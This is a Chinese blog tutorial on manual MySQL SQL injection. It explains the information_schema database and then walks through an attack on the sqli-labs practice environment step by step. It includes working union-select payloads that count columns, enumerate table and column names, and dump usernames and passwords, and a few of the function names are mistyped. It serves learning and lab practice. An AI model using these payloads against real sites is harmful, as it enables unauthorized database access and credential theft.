热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

mysql报错手工注入_mysql手工注入之information_schema数据库详解

一、作为一个半道出家的萌新,深知在二、MySQL知己知彼,百战不殆,要想玩好SQL注入必须了解1、库(database):MySQL数据库

66b39cefea89699334f2cf28c29bb452.gif

一、作为一个半道出家的萌新,深知在

66b39cefea89699334f2cf28c29bb452.gif

二、MySQL

知己知彼,百战不殆,要想玩好SQL注入必须了解

1、库(database):MySQL数据库可以创建多个数据库,如果把MySQL数据库比作我们中国,那么每个图书馆都可以理解为一个库,比如山大图书馆就是一个数据库,那么山大图书馆就是这个库的库名,如下图;

图书馆:

66b39cefea89699334f2cf28c29bb452.gif

而在数据库中它是这样

66b39cefea89699334f2cf28c29bb452.gif

2、表(table):表可以理解为存在于库中的二级目录,接上例子:类似于图书馆里的的书架,一个书架就是一个表,书架上贴的分类标签就是表名。

书架:

66b39cefea89699334f2cf28c29bb452.gif

而在数据库中是这样的:

66b39cefea89699334f2cf28c29bb452.gif

3、列(column):列是存在于表中的目录,一个表中存在一个或多个列,继续接上例子,假设表是书架,那么列可以理解为书架中的格子,格子上又贴着细分的标签,那么标签就是列名。

书架上的标签:

66b39cefea89699334f2cf28c29bb452.gif

在数据库中他是这样的:

66b39cefea89699334f2cf28c29bb452.gif

4、值/字段内容(value):值是存在于列中的数据,还是上面的例子,那么值就好理解了,那就是书了,这里不再配图。

为了更直观这里用PHPstudy里的数据库web管理页面展示,它在数据库中是下图这样的:

66b39cefea89699334f2cf28c29bb452.gif

5、information_schema库介绍

infomation_schema数据库是Mysql下的一个存放其他数据库所有内容的信息数据库,它有多个表,通常所有的查询都要经过这个库查询,这里只对个别相关的表做介绍。

66b39cefea89699334f2cf28c29bb452.gif

Schema表:

schema表有五个列,其中schema_name是用来存放数据库库名的列。

66b39cefea89699334f2cf28c29bb452.gif

tables表:

tables表用来存储所有数据库里的表名等信息,其中table_schema列用来存放所有数据库的库名,table_name用来存放MySQL数据库中的所有表名。

66b39cefea89699334f2cf28c29bb452.gif

columns表:

columns表用来存放数据库里的所有字段信息其中table_schema列用来存放数据库库名,table_name列用来存放所有数据库里的所有表名,column_name列用来存放所有的字段/内容(值)。

66b39cefea89699334f2cf28c29bb452.gif

三、手工注入简介

了解了数据库结构了,下面这里进行以下简单的复现,这里使用的环境是phpstudy+sqli-lab

1.单引号报错

66b39cefea89699334f2cf28c29bb452.gif

2.and 1=1 判断,返回正常

66b39cefea89699334f2cf28c29bb452.gif

3.and 1=2 ,返回错误

66b39cefea89699334f2cf28c29bb452.gif

4.判断出注入时,首先利用order by子句(默认升序)结合折中法,爆出当前列数,猜到4时报错,猜到3时正常,说明列数为3。

32343b88a0700b54e792053d278f80c9.png

66b39cefea89699334f2cf28c29bb452.gif

5.爆出的长度为3,参数值想办法让其报错(可以加负号等),然后进行联合查询?id=-1 union select 1,2,3  爆出位置2和3。

66b39cefea89699334f2cf28c29bb452.gif

6.爆出2,3的位置后,尝试用内置函数读取库名等信息,这里补充下常见的内置函数。

version()--mysql版本

user()--数据库用户

database()--数据库名

@datadir--数据库路径

@@versioncompileos--操作系统

继续接上,这里用在2,3的位置上查询user和库名,?id=-1 union select

1,user(),dabatase() ,爆出了账户、登陆方式和数据库名。

66b39cefea89699334f2cf28c29bb452.gif

7.接下来爆表名,这就用到了上面的information_schema这个库,在2或者3的位置构造查询语句,细分四个部分:

(1)用点连接库下存放表名的tables表

(2)然后用where来精确查询存放在table_schema中的库名

(3)用limit函数来进行遍历

(4)用-- 注释防止报错

最终payload为:union select 1,2,table_name from information_schema.tables where table_schema=’security’ limit 1,1 --+

爆出了users表

66b39cefea89699334f2cf28c29bb452.gif

8.爆出表名后,接下来爆想要的列名,思路如上,遍历出想要的字段,username和password。

最终payload为:union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 1,1 --+

66b39cefea89699334f2cf28c29bb452.gif

修改limit函数遍历第二个想要的列名 union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 2,1 --+

66b39cefea89699334f2cf28c29bb452.gif

9.最后进行常规联合查询即可 payload: union select 1,username,password from users limit 1,1 --+

66b39cefea89699334f2cf28c29bb452.gif

Ps:不一定需要limit() 还有许多函数,其他自行百度,如有错误请指教,谢谢。



推荐阅读
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
  • 本文详细介绍了MysqlDump和mysqldump进行全库备份的相关知识,包括备份命令的使用方法、my.cnf配置文件的设置、binlog日志的位置指定、增量恢复的方式以及适用于innodb引擎和myisam引擎的备份方法。对于需要进行数据库备份的用户来说,本文提供了一些有价值的参考内容。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • CentOS 6.5安装VMware Tools及共享文件夹显示问题解决方法
    本文介绍了在CentOS 6.5上安装VMware Tools及解决共享文件夹显示问题的方法。包括清空CD/DVD使用的ISO镜像文件、创建挂载目录、改变光驱设备的读写权限等步骤。最后给出了拷贝解压VMware Tools的操作。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 我们有(据我所知)星型模式SQL数据库中的数据文件。该数据库有5个不同的文件,扩展名为 ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • Postgresql备份和恢复的方法及命令行操作步骤
    本文介绍了使用Postgresql进行备份和恢复的方法及命令行操作步骤。通过使用pg_dump命令进行备份,pg_restore命令进行恢复,并设置-h localhost选项,可以完成数据的备份和恢复操作。此外,本文还提供了参考链接以获取更多详细信息。 ... [详细]
author-avatar
笨小孩2502894737
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有